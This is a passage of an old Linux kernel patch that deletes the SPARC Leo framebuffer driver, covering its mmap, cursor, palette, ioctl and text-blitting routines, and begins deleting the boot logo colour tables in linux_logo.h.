- volatile u32 planemask; - volatile u32 rop; -}; - -#define LEO_SS1_MISC_ENABLE 0x00000001 -#define LEO_SS1_MISC_STEREO 0x00000002 -struct leo_ld_ss1 { - u8 xxx0[0xef4]; - volatile u32 ss1_misc; -}; - -struct leo_ld_gbl { - u8 unknown; -}; - -static void leo_blitc(unsigned short, int, int); -static void leo_setw(int, int, unsigned short, int); -static void leo_cpyw(int, int, unsigned short *, int); -static void leo_fill(int, int, int *); - -static void -leo_restore_palette (fbinfo_t *fb) -{ - fb->info.leo.ld_ss1->ss1_misc &= ~(LEO_SS1_MISC_ENABLE); -} - -/* Ugh: X wants to mmap a bunch of cute stuff at the same time :-( */ -/* So, we just mmap the things that are being asked for */ -static int -leo_mmap (struct inode *inode, struct file *file, struct vm_area_struct *vma, - long base, fbinfo_t *fb) -{ - uint size, page, r, map_size = 0; - uint map_offset = 0; - - size = vma->vm_end - vma->vm_start; - if (vma->vm_offset & ~PAGE_MASK) - return -ENXIO; - - /* To stop the swapper from even considering these pages */ - vma->vm_flags |= FB_MMAP_VM_FLAGS; - - /* Each page, see which map applies */ - for (page = 0; page < size; ){ - switch (vma->vm_offset+page){ - case LEO_SS0_MAP: - map_size = 0x800000; - map_offset = get_phys ((uint)fb->base); - break; - case LEO_LC_SS0_USR_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.lc_ss0_usr); - break; - case LEO_LD_SS0_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.ld_ss0); - break; - case LEO_LX_CURSOR_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.cursor); - break; - case LEO_SS1_MAP: - map_size = 0x800000; - map_offset = fb->info.leo.offset + LEO_OFF_SS1; - break; - case LEO_LC_SS1_USR_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.lc_ss1_usr); - break; - case LEO_LD_SS1_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.ld_ss1); - break; - case LEO_UNK_MAP: - map_size = PAGE_SIZE; - map_offset = fb->info.leo.offset + LEO_OFF_UNK; - break; - case LEO_LX_KRN_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.lx_krn); - break; - case LEO_LC_SS0_KRN_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.lc_ss0_krn); - break; - case LEO_LC_SS1_KRN_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.lc_ss1_krn); - break; - case LEO_LD_GBL_MAP: - map_size = PAGE_SIZE; - map_offset = get_phys ((uint)fb->info.leo.ld_gbl); - break; - case LEO_UNK2_MAP: - map_size = 0x100000; - map_offset = fb->info.leo.offset + LEO_OFF_UNK2; - break; - } - if (!map_size){ - page += PAGE_SIZE; - continue; - } - if (page + map_size > size) - map_size = size - page; - r = io_remap_page_range (vma->vm_start+page, - map_offset, - map_size, vma->vm_page_prot, - fb->space); - if (r) return -EAGAIN; - page += map_size; - } - vma->vm_inode = inode; - inode->i_count++; - return 0; -} - -static void -leo_setcursormap (fbinfo_t *fb, unsigned char *red, - unsigned char *green, - unsigned char *blue) -{ - struct leo_cursor *l = fb->info.leo.cursor; - int i; - - for (i = 0; (l->cur_misc & LEO_CUR_PROGRESS) && i < 300000; i++) - udelay (1); /* Busy wait at most 0.3 sec */ - if (i == 300000) return; /* Timed out - should we print some message? */ - l->cur_type = LEO_CUR_TYPE_CMAP; - l->cur_data = (red[0] | (green[0]<<8) | (blue[0]<<16)); - l->cur_data = (red[1] | (green[1]<<8) | (blue[1]<<16)); - l->cur_misc = LEO_CUR_UPDATECMAP; -} - -/* Load cursor information */ -static void -leo_setcursor (fbinfo_t *fb) -{ - struct cg_cursor *c = &fb->cursor; - struct leo_cursor *l = fb->info.leo.cursor; - - l->cur_misc &= ~LEO_CUR_ENABLE; - l->cur_cursxy = ((c->cpos.fbx - c->chot.fbx) & 0x7ff) - |(((c->cpos.fby - c->chot.fby) & 0x7ff) << 11); - l->cur_misc |= LEO_CUR_UPDATE; - if (c->enable) - l->cur_misc |= LEO_CUR_ENABLE; -} - -/* Set cursor shape */ -static void -leo_setcurshape (fbinfo_t *fb) -{ - int i, j, k; - u32 m, n, mask; - struct leo_cursor *l = fb->info.leo.cursor; - - l->cur_misc &= ~LEO_CUR_ENABLE; - for (k = 0; k < 2; k ++) { - l->cur_type = (k * LEO_CUR_TYPE_IMAGE); /* LEO_CUR_TYPE_MASK is 0 */ - for (i = 0; i < 32; i++) { - mask = 0; - m = fb->cursor.bits[k][i]; - /* mask = m with reversed bit order */ - for (j = 0, n = 1; j < 32; j++, n <<= 1) - if (m & n) - mask |= (0x80000000 >> j); - l->cur_data = mask; - } - } - l->cur_misc |= LEO_CUR_ENABLE; -} - -static void -leo_blank (fbinfo_t *fb) -{ - fb->info.leo.lx_krn->krn_type = LEO_KRN_TYPE_VIDEO; - fb->info.leo.lx_krn->krn_csr &= ~LEO_KRN_CSR_ENABLE; -} - -static void -leo_unblank (fbinfo_t *fb) -{ - fb->info.leo.lx_krn->krn_type = LEO_KRN_TYPE_VIDEO; - if (!(fb->info.leo.lx_krn->krn_csr & LEO_KRN_CSR_ENABLE)) - fb->info.leo.lx_krn->krn_csr |= LEO_KRN_CSR_ENABLE; -} - -static int leo_wait (struct leo_lx_krn *lx_krn) -{ - int i; - for (i = 0; (lx_krn->krn_csr & LEO_KRN_CSR_PROGRESS) && i < 300000; i++) - udelay (1); /* Busy wait at most 0.3 sec */ - if (i == 300000) return -EFAULT; /* Timed out - should we print some message? */ - return 0; -} - -static int -leo_wid_get (fbinfo_t *fb, struct fb_wid_list *wl) -{ - struct leo_lx_krn *lx_krn = fb->info.leo.lx_krn; - struct fb_wid_item *wi; - int i, j; - u32 l; - - lx_krn->krn_type = LEO_KRN_TYPE_WID; - i = leo_wait (lx_krn); - if (i) return i; - lx_krn->krn_csr &= ~LEO_KRN_CSR_UNK2; - lx_krn->krn_csr |= LEO_KRN_CSR_UNK; - lx_krn->krn_type = LEO_KRN_TYPE_WID; - i = leo_wait (lx_krn); - if (i) return i; - for (i = 0, wi = wl->wl_list; i < wl->wl_count; i++, wi++) { - switch (wi->wi_type) { - case FB_WID_DBL_8: j = (wi->wi_index & 0xf) + 0x40; break; - case FB_WID_DBL_24: j = wi->wi_index & 0x3f; break; - default: return -EINVAL; - } - wi->wi_attrs = 0xffff; - lx_krn->krn_type = 0x5800 + j; - l = lx_krn->krn_value; - for (j = 0; j < 32; j++) - wi->wi_values [j] = l; - } - return 0; -} - -static int -leo_wid_put (fbinfo_t *fb, struct fb_wid_list *wl) -{ - struct leo_lx_krn *lx_krn = fb->info.leo.lx_krn; - struct fb_wid_item *wi; - int i, j; - - lx_krn->krn_type = LEO_KRN_TYPE_WID; - i = leo_wait (lx_krn); - if (i) return i; - for (i = 0, wi = wl->wl_list; i < wl->wl_count; i++, wi++) { - switch (wi->wi_type) { - case FB_WID_DBL_8: j = (wi->wi_index & 0xf) + 0x40; break; - case FB_WID_DBL_24: j = wi->wi_index & 0x3f; break; - default: return -EINVAL; - } - lx_krn->krn_type = 0x5800 + j; - lx_krn->krn_value = wi->wi_values[0]; - } - return 0; -} - -static int leo_clutstore (fbinfo_t *fb, int clutid) -{ - int i; - u32 *clut = fb->info.leo.cluts [clutid]; - struct leo_lx_krn *lx_krn = fb->info.leo.lx_krn; - - lx_krn->krn_type = LEO_KRN_TYPE_CLUT0 + clutid; - i = leo_wait (lx_krn); - if (i) return i; - lx_krn->krn_type = LEO_KRN_TYPE_CLUTDATA; - for (i = 0; i < 256; i++) - lx_krn->krn_value = *clut++; /* Throw colors there :)) */ - lx_krn->krn_type = LEO_KRN_TYPE_CLUT0 + clutid; - lx_krn->krn_csr |= (LEO_KRN_CSR_UNK|LEO_KRN_CSR_UNK2); - return 0; -} - -static int leo_clutpost (fbinfo_t *fb, struct leo_clut *lc) -{ - int xlate = 0, i; - u32 *clut; - u8 *xlut = fb->info.leo.xlut; - - switch (lc->clutid) { - case 0: - case 1: - case 2: break; - case 3: return -EINVAL; /* gamma clut - not yet implemented */ - case 4: return -EINVAL; /* degamma clut - not yet implemented */ - default: return -EINVAL; - } - clut = fb->info.leo.cluts [lc->clutid] + lc->offset; - for (i = 0; i < lc->count; i++) - *clut++ = xlate ? - ((xlut[(u8)(lc->red[i])])|(xlut[(u8)(lc->green[i])]<<8)|(xlut[(u8)(lc->blue[i])]<<16)) : - (((u8)(lc->red[i]))|(((u8)(lc->green[i]))<<8)|(((u8)(lc->blue[i]))<<16)); - return leo_clutstore (fb, lc->clutid); -} - -static int leo_clutread (fbinfo_t *fb, struct leo_clut *lc) -{ - int i; - u32 u; - struct leo_lx_krn *lx_krn = fb->info.leo.lx_krn; - - if (lc->clutid >= 3) return -EINVAL; - lx_krn->krn_type = LEO_KRN_TYPE_CLUT0 + lc->clutid; - i = leo_wait (lx_krn); - if (i) return i; - lx_krn->krn_csr &= ~LEO_KRN_CSR_UNK2; - lx_krn->krn_csr |= LEO_KRN_CSR_UNK; - i = leo_wait (lx_krn); - if (i) return i; - lx_krn->krn_type = LEO_KRN_TYPE_CLUTDATA; - for (i = 0; i < lc->offset; i++) - u = lx_krn->krn_value; - for (i = 0; i < lc->count; i++) { - u = lx_krn->krn_value; - lc->red [i] = u; - lc->green [i] = (u >> 8); - lc->blue [i] = (u >> 16); - } - return 0; -} - -static void -leo_loadcmap (fbinfo_t *fb, int index, int count) -{ - u32 *clut = ((u32 *)fb->info.leo.cluts [0]) + index; - int i; - - for (i = index; count--; i++) - *clut++ = ((fb->color_map CM(i,0))) | - ((fb->color_map CM(i,1)) << 8) | - ((fb->color_map CM(i,2)) << 16); - leo_clutstore (fb, 0); -} - -/* Handle leo-specific ioctls */ -static int -leo_ioctl (struct inode *inode, struct file *file, unsigned cmd, unsigned long arg, fbinfo_t *fb) -{ - int i; - - switch (cmd) { - case FBIO_WID_GET: - i = verify_area (VERIFY_READ, (void *)arg, sizeof (struct fb_wid_list)); - if (i) return i; - if (((struct fb_wid_list *)arg)->wl_count != 1 || - !((struct fb_wid_list *)arg)->wl_list) return -EINVAL; - i = verify_area (VERIFY_WRITE, (void *)(((struct fb_wid_list *)arg)->wl_list), - ((struct fb_wid_list *)arg)->wl_count * sizeof (struct fb_wid_item)); - if (i) return i; - return leo_wid_get (fb, (struct fb_wid_list *)arg); - case FBIO_WID_PUT: - i = verify_area (VERIFY_READ, (void *)arg, sizeof (struct fb_wid_list)); - if (i) return i; - if (((struct fb_wid_list *)arg)->wl_count != 1 || - !((struct fb_wid_list *)arg)->wl_list) return -EINVAL; - i = verify_area (VERIFY_WRITE, (void *)(((struct fb_wid_list *)arg)->wl_list), - ((struct fb_wid_list *)arg)->wl_count * sizeof (struct fb_wid_item)); - if (i) return i; - return leo_wid_put (fb, (struct fb_wid_list *)arg); - case LEO_CLUTPOST: - i = verify_area (VERIFY_READ, (void *)arg, sizeof (struct leo_clut)); - if (i) return i; - i = ((struct leo_clut *)arg)->offset + ((struct leo_clut *)arg)->count; - if (i <= 0 || i > 256) return -EINVAL; - i = verify_area (VERIFY_READ, ((struct leo_clut *)arg)->red, ((struct leo_clut *)arg)->count); - if (i) return i; - i = verify_area (VERIFY_READ, ((struct leo_clut *)arg)->green, ((struct leo_clut *)arg)->count); - if (i) return i; - i = verify_area (VERIFY_READ, ((struct leo_clut *)arg)->blue, ((struct leo_clut *)arg)->count); - if (i) return i; - return leo_clutpost (fb, (struct leo_clut *)arg); - case LEO_CLUTREAD: - i = verify_area (VERIFY_READ, (void *)arg, sizeof (struct leo_clut)); - if (i) return i; - i = ((struct leo_clut *)arg)->offset + ((struct leo_clut *)arg)->count; - if (i <= 0 || i > 256) return -EINVAL; - i = verify_area (VERIFY_WRITE, ((struct leo_clut *)arg)->red, ((struct leo_clut *)arg)->count); - if (i) return i; - i = verify_area (VERIFY_WRITE, ((struct leo_clut *)arg)->green, ((struct leo_clut *)arg)->count); - if (i) return i; - i = verify_area (VERIFY_WRITE, ((struct leo_clut *)arg)->blue, ((struct leo_clut *)arg)->count); - if (i) return i; - return leo_clutread (fb, (struct leo_clut *)arg); - - default: - return -ENOSYS; - } -} - -static void -leo_reset (fbinfo_t *fb) -{ - if (fb->setcursor) - sun_hw_hide_cursor (); -} - - -__initfunc(static unsigned long leo_postsetup (fbinfo_t *fb, unsigned long memory_start)) -{ - fb->info.leo.cluts[0] = (u32 *)(memory_start); - fb->info.leo.cluts[1] = (u32 *)(memory_start+256*4); - fb->info.leo.cluts[2] = (u32 *)(memory_start+256*4*2); - fb->info.leo.xlut = (u8 *)(memory_start+256*4*3); - fb->color_map = (u8 *)(memory_start+256*4*3+256); - return memory_start + (256*4*3) + 256 + 256*3; -} - -__initfunc(void leo_setup (fbinfo_t *fb, int slot, uint leo, int leo_io)) -{ - struct leo_info *leoinfo; - int i; - struct fb_wid_item wi; - struct fb_wid_list wl; - - printk ("leo%d at 0x%8.8x ", slot, (uint) leo); - - /* Fill in parameters we left out */ - fb->type.fb_size = 0x800000; /* 8MB */ - fb->type.fb_cmsize = 256; - fb->mmap = leo_mmap; - fb->loadcmap = leo_loadcmap; - fb->postsetup = leo_postsetup; - fb->ioctl = (void *)leo_ioctl; - fb->reset = leo_reset; - fb->blank = leo_blank; - fb->unblank = leo_unblank; - fb->setcursor = leo_setcursor; - fb->setcursormap = leo_setcursormap; - fb->setcurshape = leo_setcurshape; - fb->blitc = leo_blitc; - fb->setw = leo_setw; - fb->cpyw = leo_cpyw; - fb->fill = leo_fill; - fb->base_depth = 0; - - leoinfo = (struct leo_info *) &fb->info.leo; - - memset (leoinfo, 0, sizeof(struct leo_info)); - - leoinfo->offset = leo; - /* Map the hardware registers */ - leoinfo->lc_ss0_krn = sparc_alloc_io ((void *) leo + LEO_OFF_LC_SS0_KRN, 0, - PAGE_SIZE,"leo_lc_ss0_krn", fb->space, 0); - leoinfo->lc_ss0_usr = sparc_alloc_io ((void *) leo + LEO_OFF_LC_SS0_USR, 0, - PAGE_SIZE,"leo_lc_ss0_usr", fb->space, 0); - leoinfo->lc_ss1_krn = sparc_alloc_io ((void *) leo + LEO_OFF_LC_SS1_KRN, 0, - PAGE_SIZE,"leo_lc_ss1_krn", fb->space, 0); - leoinfo->lc_ss1_usr = sparc_alloc_io ((void *) leo + LEO_OFF_LC_SS1_USR, 0, - PAGE_SIZE,"leo_lc_ss1_usr", fb->space, 0); - leoinfo->ld_ss0 = sparc_alloc_io ((void *) leo + LEO_OFF_LD_SS0, 0, - PAGE_SIZE,"leo_ld_ss0", fb->space, 0); - leoinfo->ld_ss1 = sparc_alloc_io ((void *) leo + LEO_OFF_LD_SS1, 0, - PAGE_SIZE,"leo_ld_ss1", fb->space, 0); - leoinfo->ld_gbl = sparc_alloc_io ((void *) leo + LEO_OFF_LD_GBL, 0, - PAGE_SIZE,"leo_ld_gbl", fb->space, 0); - leoinfo->lx_krn = sparc_alloc_io ((void *) leo + LEO_OFF_LX_KRN, 0, - PAGE_SIZE,"leo_lx_krn", fb->space, 0); - leoinfo->cursor = sparc_alloc_io ((void *) leo + LEO_OFF_LX_CURSOR, 0, - sizeof(struct leo_cursor),"leo_lx_crsr", fb->space, 0); - fb->base = (long)sparc_alloc_io ((void *) leo + LEO_OFF_SS0, 0, - 0x800000,"leo_ss0", fb->space, 0); - - leoinfo->ld_ss0->unk = 0xffff; - leoinfo->ld_ss0->unk2 = 0; - leoinfo->ld_ss0->unk3 = (fb->type.fb_width - 1) | ((fb->type.fb_height - 1) << 16); - wl.wl_count = 1; - wl.wl_list = &wi; - wi.wi_type = FB_WID_DBL_8; - wi.wi_index = 0; - wi.wi_values [0] = 0x2c0; - leo_wid_put (fb, &wl); - wi.wi_index = 1; - wi.wi_values [0] = 0x30; - leo_wid_put (fb, &wl); - wi.wi_index = 2; - wi.wi_values [0] = 0x20; - leo_wid_put (fb, &wl); - - leoinfo->ld_ss1->ss1_misc |= LEO_SS1_MISC_ENABLE; - - leoinfo->ld_ss0->fg = 0x30703; - leoinfo->ld_ss0->planemask = 0xff000000; - leoinfo->ld_ss0->rop = 0xd0840; - leoinfo->lc_ss0_usr->extent = (fb->type.fb_width-1) | ((fb->type.fb_height-1) << 11); - i = leoinfo->lc_ss0_usr->attrs; - leoinfo->lc_ss0_usr->fill = (0) | ((0) << 11) | ((i & 3) << 29) | ((i & 8) ? 0x80000000 : 0); - do { - i = leoinfo->lc_ss0_usr->csr; - } while (i & 0x20000000); - - if (slot == sun_prom_console_id) - fb_restore_palette = leo_restore_palette; - - printk("Cmd Rev %d\n", - (leoinfo->lc_ss0_krn->rev >> 28)); - - /* Reset the leo */ - leo_reset(fb); - - if (!slot) - /* Enable Video */ - leo_unblank (fb); - else if (slot != sun_prom_console_id) - leo_blank (fb); -} - -extern unsigned char vga_font []; - -#define GX_BLITC_START(attr,x,y,count) \ - { \ - register struct leo_lc_ss0_usr *us = fbinfo[0].info.leo.lc_ss0_usr; \ - register struct leo_ld_ss0 *ss = fbinfo[0].info.leo.ld_ss0; \ - register u32 i; \ - do { \ - i = us->csr; \ - } while (i & 0x20000000); \ - ss->fg = (attr >> 4)<<24; \ - ss->planemask = 0xff000000; \ - ss->rop = 0x310040; \ - us->extent = (count*8-1) | (15<<11); \ - i = us->attrs; \ - us->fill = (x) | ((y) << 11) | ((i & 3) << 29) | ((i & 8) ? 0x80000000 : 0); \ - do { \ - i = us->csr; \ - } while (i & 0x20000000); \ - ss->fg = (attr & 0xf)<<24; \ - us->fontc2 = ~(0); \ - us->attrs = 4; \ - us->fontc = ~(0); \ - us->extent = ((u16)x) | (y << 16); \ - us->src = ((u16)(x + (count << 3))) | ((y + 16) << 16); -#define GX_BLITC_END \ - } - -static void leo_blitc(unsigned short charattr, int xoff, int yoff) -{ - unsigned char attrib = CHARATTR_TO_SUNCOLOR(charattr); - unsigned char *p = &vga_font[((unsigned char)charattr) << 4]; - u32 *u = ((u32 *)fbinfo[0].base) + (yoff << 11) + xoff; - GX_BLITC_START(attrib, xoff, yoff, 1) - for (i = 0; i < CHAR_HEIGHT; i++, u += 2048) - *u = (*p++) << 24; - GX_BLITC_END -} - -static void leo_setw(int xoff, int yoff, unsigned short c, int count) -{ - unsigned char attrib = CHARATTR_TO_SUNCOLOR(c); - unsigned char *p = &vga_font[((unsigned char)c) << 4]; - register unsigned char *q; - u32 *u = ((u32 *)fbinfo[0].base) + (yoff << 11) + xoff; - GX_BLITC_START(attrib, xoff, yoff, count) - while (count-- > 0) { - q = p; - for (i = 0; i < CHAR_HEIGHT; i++, u += 2048) - *u = (*q++) << 24; - u += 8 - (CHAR_HEIGHT * 2048); - } - GX_BLITC_END -} - -static void leo_cpyw(int xoff, int yoff, unsigned short *p, int count) -{ - unsigned char attrib = CHARATTR_TO_SUNCOLOR(*p); - register unsigned char *q; - u32 *u = ((u32 *)fbinfo[0].base) + (yoff << 11) + xoff; - GX_BLITC_START(attrib, xoff, yoff, count) - while (count-- > 0) { - q = &vga_font[((unsigned char)*p++) << 4]; - for (i = 0; i < CHAR_HEIGHT; i++, u += 2048) - *u = (*q++) << 24; - u += 8 - (CHAR_HEIGHT * 2048); - } - GX_BLITC_END -} - -static void leo_fill(int attrib, int count, int *boxes) -{ - register struct leo_lc_ss0_usr *us = fbinfo[0].info.leo.lc_ss0_usr; - register struct leo_ld_ss0 *ss = fbinfo[0].info.leo.ld_ss0; - register u32 i; - do { - i = us->csr; - } while (i & 0x20000000); - ss->unk = 0xffff; - ss->unk2 = 0; - ss->unk3 = (fbinfo[0].type.fb_width - 1) | ((fbinfo[0].type.fb_height - 1) << 16); - ss->fg = ((attrib & 0xf)<<24) | 0x030703; - ss->planemask = 0xff000000; - ss->rop = 0xd0840; - while (count-- > 0) { - us->extent = ((boxes[2] - boxes[0] - 1) & 0x7ff) | (((boxes[3] - boxes[1] - 1) & 0x7ff) << 11); - i = us->attrs; - us->fill = (boxes[0] & 0x7ff) | ((boxes[1] & 0x7ff) << 11) | ((i & 3) << 29) | ((i & 8) ? 0x80000000 : 0); - } -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/linux_logo.h linux/drivers/sbus/char/linux_logo.h --- linux-2.1.29/drivers/sbus/char/linux_logo.h Sat May 10 18:16:37 1997 +++ linux/drivers/sbus/char/linux_logo.h Wed Dec 31 19:00:00 1969 @@ -1,1037 +0,0 @@ -/* This is a linux logo to be displayed on boot. - * - * You can put anything here, but: - * LINUX_LOGO_COLORS has to be less than 224 - * image size has to be 80x80 - * values have to start from 0x20 - * (i.e. RGB(linux_logo_red[0], - * linux_logo_green[0], - * linux_logo_blue[0]) is color 0x20) - * BW image has to be 80x80 as well, with MS bit - * on the left - * Serial_console ascii image can be any size, - * but should contain %s to display the version - */ - -#include - -#define LINUX_LOGO_COLORS 221 - -unsigned char linux_logo_red[] __initdata = { - 0xF3, 0xF6, 0xF8, 0xF7, 0xEF, 0xE7, 0xE5, 0xE3, - 0xCA, 0xD4, 0xDD, 0xC8, 0xC7, 0xC4, 0xC2, 0xE5, - 0xF1, 0xED, 0xEE, 0xE6, 0xC6, 0xDA, 0xDD, 0xE5, - 0xD9, 0xC6, 0xE3, 0xD0, 0xC6, 0xBA, 0xB0, 0xB6, - 0xBB, 0xBE, 0xB9, 0xB8, 0xB3, 0xB2, 0xB0, 0xAD, - 0xAC, 0xA9, 0xA8, 0xA6, 0xA4, 0xA1, 0xA0, 0x9D, - 0xA0, 0x9F, 0x9E, 0x9C, 0x9B, 0x99, 0x9A, 0x99, - 0x98, 0x95, 0x96, 0x94, 0x93, 0x92, 0x8F, 0x8D, - 0x8C, 0x8A, 0x87, 0x86, 0x83, 0x81, 0x0D, 0x03, - 0x66, 0x44, 0x24, 0x08, 0xD6, 0xE6, 0xE9, 0xE6, - 0xE7, 0xCA, 0xDC, 0xDB, 0xD5, 0xD0, 0xC9, 0xE2, - 0xD5, 0xC6, 0xC4, 0xB3, 0xB2, 0xB9, 0xA9, 0x9A, - 0xB2, 0x9D, 0xE8, 0xEC, 0xF5, 0xF5, 0xF4, 0xF4, - 0xEC, 0xEE, 0xF0, 0xF5, 0xE0, 0xD6, 0xC5, 0xC2, - 0xD9, 0xD5, 0xD8, 0xD6, 0xF6, 0xF4, 0xED, 0xEC, - 0xEB, 0xF1, 0xF6, 0xF5, 0xF5, 0xEE, 0xEF, 0xEC, - 0xE7, 0xE3, 0xE6, 0xD6, 0xDD, 0xC3, 0xD6, 0xD7, - 0xCD, 0xCA, 0xC3, 0xAC, 0x95, 0x99, 0xB7, 0xA3, - 0x8B, 0x88, 0x95, 0x8A, 0x94, 0xD2, 0xCC, 0xC4, - 0xA8, 0x8E, 0x8F, 0xAE, 0xB8, 0xAC, 0xB6, 0xB4, - 0xAD, 0xA5, 0xA0, 0x9B, 0x8B, 0xA3, 0x94, 0x87, - 0x85, 0x89, 0x53, 0x80, 0x7D, 0x7C, 0x7A, 0x78, - 0x76, 0x71, 0x73, 0x6E, 0x6B, 0x67, 0x65, 0x62, - 0x4B, 0x5B, 0x5F, 0x53, 0x56, 0x52, 0x4F, 0x46, - 0x42, 0x0F, 0x75, 0x78, 0x7D, 0x72, 0x5F, 0x6E, - 0x7A, 0x75, 0x6A, 0x58, 0x48, 0x4F, 0x00, 0x2B, - 0x37, 0x3E, 0x32, 0x33, 0x25, 0x2C, 0x3B, 0x11, - 0x1D, 0x14, 0x06, 0x02, 0x00 -}; - -unsigned char linux_logo_green[] __initdata = { - 0xF3, 0xF6, 0xF8, 0xF7, 0xEF, 0xE7, 0xE5, 0xE3, - 0xCA, 0xD4, 0xDD, 0xC8, 0xC7, 0xC4, 0xC2, 0xD3, - 0xDA, 0xD4, 0xD7, 0xCC, 0xC1, 0xCC, 0xCB, 0xC9, - 0xC5, 0xBC, 0xBC, 0xBB, 0xB7, 0xA5, 0xB0, 0xB6, - 0xBB, 0xBE, 0xB9, 0xB8, 0xB3, 0xB2, 0xAD, 0xAD, - 0xAC, 0xA9, 0xA8, 0xA6, 0xA4, 0xA1, 0xA0, 0x95, - 0xA0, 0x9F, 0x9E, 0x9C, 0x9B, 0x99, 0x9A, 0x99, - 0x98, 0x95, 0x96, 0x94, 0x93, 0x92, 0x8F, 0x8D, - 0x8C, 0x8A, 0x87, 0x86, 0x83, 0x81, 0x08, 0x02, - 0x53, 0x2E, 0x19, 0x06, 0xC6, 0xC8, 0xCF, 0xBD, - 0xB3, 0xB6, 0xB4, 0xAB, 0xA5, 0xA3, 0x9B, 0xB6, - 0xA7, 0x99, 0x92, 0xA4, 0x9E, 0x9D, 0x98, 0x8C, - 0x8A, 0x86, 0xCD, 0xCC, 0xC9, 0xD7, 0xCA, 0xC4, - 0xCA, 0xC3, 0xC7, 0xC3, 0xC8, 0xB4, 0x91, 0x8E, - 0x8A, 0x82, 0x87, 0x85, 0xBD, 0xBF, 0xB6, 0xBC, - 0xAE, 0xB7, 0xBC, 0xB8, 0xBF, 0xB6, 0xBC, 0xB5, - 0xAB, 0xA6, 0xAD, 0xB2, 0xA5, 0x87, 0x9C, 0x96, - 0x95, 0x8E, 0x87, 0x8F, 0x86, 0x86, 0x8E, 0x80, - 0x7A, 0x70, 0x7B, 0x78, 0x78, 0x7F, 0x77, 0x6F, - 0x70, 0x76, 0x59, 0x77, 0x68, 0x64, 0x7B, 0x7C, - 0x75, 0x6D, 0x77, 0x69, 0x65, 0x5F, 0x5B, 0x54, - 0x4F, 0x5B, 0x39, 0x80, 0x7D, 0x7C, 0x7A, 0x78, - 0x76, 0x71, 0x73, 0x6E, 0x6B, 0x67, 0x65, 0x62, - 0x4B, 0x5B, 0x5F, 0x53, 0x56, 0x52, 0x4F, 0x46, - 0x42, 0x0B, 0x69, 0x66, 0x64, 0x57, 0x4A, 0x4E, - 0x55, 0x4B, 0x46, 0x3B, 0x30, 0x33, 0x00, 0x2B, - 0x37, 0x3E, 0x32, 0x33, 0x25, 0x2C, 0x29, 0x0D, - 0x1D, 0x14, 0x06, 0x02, 0x00 -}; - -unsigned char linux_logo_blue[] __initdata = { - 0xF3, 0xF6, 0xF8, 0xF7, 0xEF, 0xEE, 0xE5, 0xDE, - 0xD7, 0xD3, 0xDD, 0xC8, 0xC7, 0xC4, 0xC2, 0xB5, - 0xB0, 0xA6, 0xAC, 0x9B, 0xB5, 0xB5, 0xAE, 0x84, - 0x90, 0xA9, 0x81, 0x8D, 0x96, 0x86, 0xB0, 0xB6, - 0xBB, 0xBE, 0xB9, 0xB8, 0xB3, 0xB2, 0xA7, 0xAD, - 0xAC, 0xA9, 0xA8, 0xA6, 0xA4, 0xA1, 0xA5, 0x87, - 0xA0, 0x9F, 0x9E, 0x9C, 0x9B, 0x9A, 0x9A, 0x99, - 0x98, 0x95, 0x96, 0x94, 0x93, 0x92, 0x8F, 0x8D, - 0x8C, 0x8A, 0x87, 0x86, 0x83, 0x81, 0xC8, 0xD7, - 0x9B, 0x8E, 0x8C, 0xB2, 0x77, 0x77, 0x4E, 0x77, - 0x69, 0x71, 0x78, 0x6B, 0x65, 0x66, 0x64, 0x59, - 0x5C, 0x5A, 0x48, 0x72, 0x7B, 0x6B, 0x67, 0x6E, - 0x42, 0x5B, 0x29, 0x36, 0x25, 0x10, 0x17, 0x14, - 0x19, 0x16, 0x13, 0x0E, 0x08, 0x2E, 0x2E, 0x3D, - 0x24, 0x24, 0x24, 0x24, 0x13, 0x12, 0x14, 0x14, - 0x0E, 0x08, 0x0D, 0x0F, 0x08, 0x0D, 0x0E, 0x08, - 0x08, 0x0C, 0x06, 0x06, 0x07, 0x16, 0x07, 0x0E, - 0x08, 0x0A, 0x07, 0x0D, 0x2D, 0x3E, 0x09, 0x4E, - 0x68, 0x52, 0x56, 0x58, 0x4B, 0x22, 0x20, 0x20, - 0x27, 0x39, 0x28, 0x19, 0x1E, 0x1E, 0x08, 0x06, - 0x07, 0x09, 0x08, 0x08, 0x05, 0x1D, 0x1F, 0x17, - 0x18, 0x06, 0x79, 0x80, 0x7D, 0x7C, 0x7A, 0x78, - 0x76, 0x71, 0x73, 0x6E, 0x6B, 0x68, 0x65, 0x62, - 0x4B, 0x5B, 0x5F, 0x55, 0x56, 0x52, 0x4F, 0x46, - 0x42, 0x5A, 0x14, 0x23, 0x3D, 0x2B, 0x21, 0x14, - 0x06, 0x04, 0x03, 0x07, 0x09, 0x13, 0x2A, 0x3A, - 0x37, 0x3E, 0x32, 0x33, 0x25, 0x2C, 0x07, 0x09, - 0x1D, 0x14, 0x06, 0x02, 0x00 -}; - -unsigned char linux_logo[] __initdata = { - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x58, 0x57, - 0x58, 0x58, 0x59, 0x5C, 0x5D, 0x5F, 0x60, 0x61, - 0x62, 0x61, 0x61, 0x62, 0x62, 0x62, 0x63, 0x63, - 0x61, 0x61, 0x61, 0x61, 0x61, 0x60, 0x5E, 0x5E, - 0x5E, 0x5D, 0x5D, 0x5C, 0x5D, 0x5B, 0x58, 0x58, - 0x58, 0x57, 0x58, 0x57, 0x57, 0x57, 0x57, 0x58, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x58, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x58, 0x57, 0x57, 0x57, 0x57, 0x57, - 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x58, 0x57, - 0x54, 